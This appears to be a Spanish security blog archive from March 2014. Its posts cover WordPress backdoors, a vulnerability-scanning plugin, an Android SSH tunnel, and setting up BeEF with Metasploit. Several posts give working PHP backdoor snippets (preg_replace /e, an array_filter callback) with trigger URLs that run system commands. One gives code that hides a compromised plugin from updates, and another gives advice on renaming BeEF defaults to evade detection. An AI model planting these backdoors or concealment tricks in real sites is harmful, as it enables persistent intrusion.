lunes, 31 de marzo de 2014

WordPress Backdoors VI: bloquear actualización de un plugin

¡Saludos!

   Continuamos con esta saga de post sobre backdoors en WordPress. Antes de empezar, quisiera recordad que este viernes 4 de Abril es la HighSec Con III en Madrid, y que tanto @JorgeWebsec como yo vamos a estar por allí para solventar cualquier duda que haya con WordPressa Security Plugin. ¡Vayamos al grano de esta entrada!


    Cuando se realiza una intrusión en una plataforma WordPress, o ésta es atacada por un malware automatizado, se va a intentar siempre mantener la permanencia y el control de sistema comprometido el mayor lapso de tiempo posible. Esto puede convertirse en un gran impedimento si, por ejemplo, la intrusión se ha realizado (como en la mayoría de los casos) por un plugin vulnerable y los desarrolladores sacan una actualización que solventa el problema. ¿Qué pasaría si hemos incluido el malware o el backdoor en ese plugin? Que al actualizar, por suerte para nosotros, se eliminaría. A menos que el atacante haya usando alguna triquiñuela.

    Como todo en esta vida hay dos vías: la vía sencilla y vía elaborada. Cada una con sus pro y sus contras. El método más sencillo es sin duda editar, dentro del código fuente del plugin al que queremos deshabilitarle las actualizaciones, la versión. En la cabecera del plugin debemos de poner un número elevado para que nunca haya una versión superior a la nuestra. El problema de usar esta técnica, simple y eficaz, es que el administrador cuando visite la sección de plugins en el panel de administración verá que el plugin tiene una versión muy alta. Poco probable que se cuenta si usamos cifras lógicas. No como ocurrió en este caso:

(llamadme escéptico, pero creo que Akismet no va por la versión 99.5.8)

   El otro método, más elaborado, tiene que ver en cómo WordPress comprueba si hay una versión disponible. Para esta tarea WordPress manda una petición cada 12 horas para realizar la comprobación, y los datos son guardados en la tabla wp_options, en un campo de nombre _site_transient_update_plugins. En realidad lo que tenemos en este campo es un transient, que de forma simple podemos entenderlos como datos que quedan "cacheados" por un tiempo limitado en la base de datos para poder acceder a ellos rápidamente. Si le echais un ojo, vereis que es interesante. Para más info sobre cómo trabajar con transient, podeis visitar la documentación de la Transients API de WordPress ( https://codex.wordpress.org/Transients_API ).



  Añadiendo este sencillo código (extraído de una respuesta de StackOverflow) podemos eliminar la información de actualización del transient, de tal forma que nunca más le aparecerá la notificación de que existe un update :)

add_filter('site_transient_update_plugins', 'remove_update_notification_1234');
function remove_update_notification_1234($value) {
    unset($value->response[ plugin_basename(__FILE__) ]);
    return $value;
}


  ¡Nos vemos por la HighSec CON!

Byt3z!
5 0verl0ad Labs: marzo 2014 ¡Saludos!    Continuamos con esta saga de post sobre backdoors en WordPress. Antes de empezar, quisiera recordad que este viernes 4 de Abr...

jueves, 20 de marzo de 2014

Wordpressa Security Plugin

¡Saludos!

   Por fin se ha liberado Wordpressa Security Plugin . Tiempo atrás he comentado, dando pinceladas, este proyecto destinado a los administradores que utilizan WordPress como gestor de contenidos que quieren evitar levantarse un día y encontrarse con que han sufrido una intrusión a través de un plugin vulnerable.

 ¿Quién comprueba todos los días si se ha publicado alguna vulnerabilidad para alguno de los plugins que tenemos instalados? Y más aun si estamos gestionando decenas de webs con WordPress. Es una tarea imposible de realizar todos los días, y aun cuando se hace se pierde mucho tiempo en revisar todos los repositorios de vulnerabilidades.

  Para cubrir esta necesidad el proyecto Wordpressa ha creado Wordpressa Security Plugin. Con un simple click podrás saber en tiempo real si alguno de los plugins que tienes instalados  posee vulnerabilidades conocidas.


   Pero no sólo esto, sino que además diariamente se envía un informe por correo indicando qué plugins de los que hay instalados son vulnerables, de tal forma que no hay que estar siempre encima mirando los repositorios, si no que de forma automática al final del día podemos leer nuestro correo electrónico. En el momento de que se publique una vulnerabilidad, nuestra base de datos se actualiza automáticamente, y recibirás un informe si tienes ese plugin y esa versión instalada.


  Además de la base de datos que se actualiza con los repositorios habituales, estamos incluyendo plugins que poseen vulnerabilidades encontradas por nosotros que únicamente han sido reportadas al creador y no son públicas.


   En la siguiente versión, que está en pleno desarrollo, estamos incluyendo soporte para la detección de themes vulnerables y malware a través de firmas.

   Podeis adquirir la versión demo (una sóla petición y un informe para que veais el formato) o comprar una licencia de 1 año en el siguiente enlace:

http://Wordpressa.QuantiKa14.com/wsp/


  Cualquier feedback es bien recibido... y para aquellas personas con la comilla inquieta que encuentre alguna vulnerabilidad en el plugin o en la API estamos pensando en recompensarles de alguna forma :) -más adelante daré más info al respecto-.



Byt3z!

5 0verl0ad Labs: marzo 2014 ¡Saludos!    Por fin se ha liberado Wordpressa Security Plugin . Tiempo atrás he comentado, dando pinceladas, este proyecto destinado a lo...

sábado, 15 de marzo de 2014

WordPress Backdoors V: preg_replace /e

¡Saludos!

    Desde hace ya bastante años la función preg_replace ha dado quebraderos de cabeza a la hora de sanear los inputs que recibimos de los usuarios. Hasta la versión 5.4.7 de PHP se podía modificar el comportamiento de preg_replace para poder evaluar una cadena, de tal forma que  si una porción del patrón para remplazar era dada por el usuario podíamos pasarle el parámetro /e junto a un null byte y a continuación una función a ejecutar. Por suerte, si nosotros somos quienes hemos dejado el preg_replace preparado lo tendremos todo resuelto para pasarle ese fatídico "/e" :D

     EL modificador /e está en desuso y desaconsejado por obvias razones, por lo que si lo vemos en un archivo PHP nuestras alarmas van a saltar de forma inmediata. Pero, al igual que hicimos en la cuarta entrega sobre backdoors en WordPress,  si nosotros le pasamos todo lo sospechoso utilizando GET/POST el administrador al mirar el código no se dará cuenta de nada. Ejemplo:

<?php


@$patron = $_GET['patron'];
@$cadena = $_GET['cadena'];
limpiar ($patron, $cadena);

//Soy una inocente función para limpiar cadenas :D
function limpiar($patron, $cadena) {
preg_replace($patron,$cadena,'Inocente :D'); 
}
?>
¿Quien ve el backdoor en esta inocente función para limpiar cadenas? :D hagamos un ?patron=/.*/e&cadena=system("id") y disfrutemos del espectáculo.

  Como ya dije al inicio los trucos con preg_replace y /e son muy antíguos, y en el caso de WordPress, ya se ha avistado su uso en algunos malwares, como fue reportado el año pasado en varios blogs ( http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html ), (http://www.securelist.com/en/blog/208214192/Malware_in_metadata)

Byt3z!
5 0verl0ad Labs: marzo 2014 ¡Saludos!     Desde hace ya bastante años la función preg_replace   ha dado quebraderos de cabeza a la hora de sanear los inputs que recib...

miércoles, 5 de marzo de 2014

SSH Tunnel - Asegurando nuestras conexiones en Android


  Hay ocasiones en las que nos tenemos que conectar a redes wifi "ajenas"  por distintos motivos, ya sea un hotel, la del vecino,  aeropuerto o sitios similares donde es posible que no estemos solos. Para estas situaciones nos puede interesar establecer un túnel SSH con un servidor de confianza para que el trafico no este tan expuesto y aumentar considerablemente nuestra seguridad mediante el cifrado de éste.




Considerando que los androides vienen con nosotros a todas partes veremos como crear un mencionado túnel SSH con ellos. Lo primero será descargar la aplicación, para ello:
https://play.google.com/store/apps/details?id=org.sshtunnel&hl=es

  Su funcionamiento es muy sencillo, pero no está demás comentar sus opciones mas relevantes.

  • Tunnel Switch nos permite activar o desactivar el túnel no tiene mas misterio.
  • Profiles nos permite gestionar perfiles a distintos servidores.
  • Host es la dirección o nombre del host con el servidor SSH al que nos conectaremos.
  • User y password como su nombre indica, son las credenciales de acceso.
  • Auto Reconnect para hacer que se nos conecte automáticamente si se cae la conexión.
  • Global proxy que requiere permisos de root. Éste hará que todas las conexiones del dispositivo funcionen bajo el tunel.
  • Individual proxy es la opción a marcar si lo que queremos es que se conecten a traves del tunnel solo determinadas aplicaciones.



  Con esto ya tenemos configurado nuestro túnel SSH, el cual usaré esta semana cuando vaya a la capital para la rooted CON junto con el sr @TheXC3LL, espero desvirtualizar a alguno que otro.

Nos leemos (o nos vemos) en breve ;)


5 0verl0ad Labs: marzo 2014   Hay ocasiones en las que nos tenemos que conectar a redes wifi "ajenas"  por distintos motivos, ya sea un hotel,  la del vec...

martes, 4 de marzo de 2014

WordPress Backdoors IV: PHP y funciones con callbacks

¡Saludos!

   Continúo dejando por aquí pinceladas del PDF que estoy haciendo -como dije en el post anterior, estoy realmente liado y más ahora que esta semana es la rootedCON- sobre backdoors en PHP en general, y sobre la plataforma WordPress en particular. Hoy vamos a explicar una de las formas de backdoorizar más dificiles de detectar a ojo si previamente no sabes por donde van los tiros. Se trata de las funciones que permiten un ejecutar otra  función dentro de ellas como callback.

   Dentro de este tipo de funciones en PHP podemos encontrar varias decenas, todas ellas inofensivas a simple vista ( array_map, array_walk, xml_set_element_handler, etc.) , pero que colocadas estratégicamente pueden servirnos de vector para poder ejecutar acciones clave para retomar el control de un WordPress intervenido por nosotros previamente. Si deseamos ejecutar varios comandos utilizando la función system, para por ejemplo descargar en el servidor un exploit, o una webshell más completa, y después moverlo, ejecutarlo, sobreescribir un archivo que tenga suficientes permisos, etc. lo ideal sería usar funciones destinadas a arrays, como por ejemplo array_map o array_filter. ¿Quien pensaría que nos han juankeado por un array_filter colocado en un theme que es de pago pero en una web muy chula rusa nos lo dejan gratis? :)

   Leyendo la documentación de array_filter en PHP.NET nos damos cuenta de que es justamente lo que necesitamos:

Iterates over each value in the array passing them to the callback function.

 Por lo tanto si le decimos que la función a la que debe de pasarle el valor de cada elemento en el array es un inofensivo system, y cada elemento del array es un comando... tenemos la fiesta montada :D

<?php
$filtro = $_GET['filtro'];
$palabras = array($_GET['text']);
$palabras_filtradas = array_filter($palabras, $filtro);
?>

¿Quien ve el peligro? Pasadle un rico ?filtro=system&text=ls -l   :D

¡Nos vemos en la RootedCON! El jueves llevaré una camiseta amarilla de Taxi Driver y Aetsu una camiseta de... cof cof... -  por si alguien se pasa a saludarnos ;)


Byt3z!



5 0verl0ad Labs: marzo 2014 ¡Saludos!    Continúo dejando por aquí pinceladas del PDF que estoy haciendo -como dije en el post anterior, estoy realmente liado y más a...

domingo, 2 de marzo de 2014

BeEF I: configuración e integración con Metasploit

¡Saludos!

  En primer lugar aclarar que lo que vamos a ver en este post los podeis encontrar en inglés en la propia de web de BeEF. Me ha parecido interesante dejarlo por aquí aunque sea muy básico, para poder tenerlo en español (y siendo honesto, quiero mantener un ritmo de al menos 2 post a la semana, y ésta precisamente he estado más liado que la pata de un romano, asi que hay que rellenar con algo).

   Una vez que tenemos instalado BeEF procederemos a editar en primer lugar el archivo config.yaml (situado en la misma carpeta).  En primer lugar vamos a editar las opciones del servidor.

  Si estamos realizando pruebas en un laboratorio compuesto por un número reducido de navegadores que vamos a hookear, podemos modificar el valor de xhr_poll_timeout hasta 2000 o 1500 para reducir el tiempo entre la ejecución de un comando y su respuesta en BeEF. Una de las primeras sensaciones que da BeEF cuando lo manejas es el gran delay que hay entre que ejecutas un comando y obtienes la respuesta, es por ello que disminuyendolo vamos a experimentar mayor fluidez. Sin embargo cuando hemos intervenido un mayor número de navegadores podemos encontrarnos con problemas.

   web_ui_basepath hook_file hacen referencia respectivamente a la ruta y al nombre del .JS que queremo usar para intervenir los navegadores. Estos valores, junto con los de hook_session_name y session_cookie_name deben de ser editados para evitar por un lado las herramientas que de forma automática (o símplemente un grep a los logs de un proxy que haya entre medias :D) detecten los valores por defecto (la cookie llamada BEEFSESSION, por ejemplo) . El resto de valores de esta primera parte (host, DNS, port...) editar según la necesidad de cada uno.

  Para aumentar la velocidad, o mejor dicho, disminuir esa sensación de delay podemos habilitar los WebSockets. Si editamos el valor "enabled" de "false" a "true" estaremos indicando a BeEF que utilice WebSockets siempre y cuando el navegador que haya sido hookeado lo permita. De no tenerlo soportado  BeEF continuará usando XHR.

  Por último para habilitar la extensión encargada de interactuar con metasploit deberemos de cambiar el valor de "enabled" a true en la sección de extensiones.

  A continuación si deseamos editar algún aspecto de BeEF en relación a metasploit (passwords, paths, host, etc.) lo deberemos de hacer en el fichero config.yaml situado en /beef/extensions/metasploit.  Una vez que lo hemos editado según nuestra situación (si deseamos simplemente hacer pruebas en un laboratorio local podemos dejar la configuración tal y como viene por defecto, recordando que la password es abc123).

  Por último abrimos metasploit (msfconsole) y ejecutamos:

load msgrpc ServerHost=127.0.0.1 Pass=AquiElPassWordQuePussiste

ServerHost y Pass corresponden con las mismas IP y password que fueron puestas a la hora de editar los archivos config.yaml. Si todo ha ido bien deberíamos de ver un mensaje como el siguiente:



 De esta forma habremos habilitado la comunicación RPC. Por último tan sólo restaría iniciar BeEF y empezar a jugar :)



Byt3z!


5 0verl0ad Labs: marzo 2014 ¡Saludos!   En primer lugar aclarar que lo que vamos a ver en este post los podeis encontrar en inglés en la propia de web de BeEF. Me ha ...
< >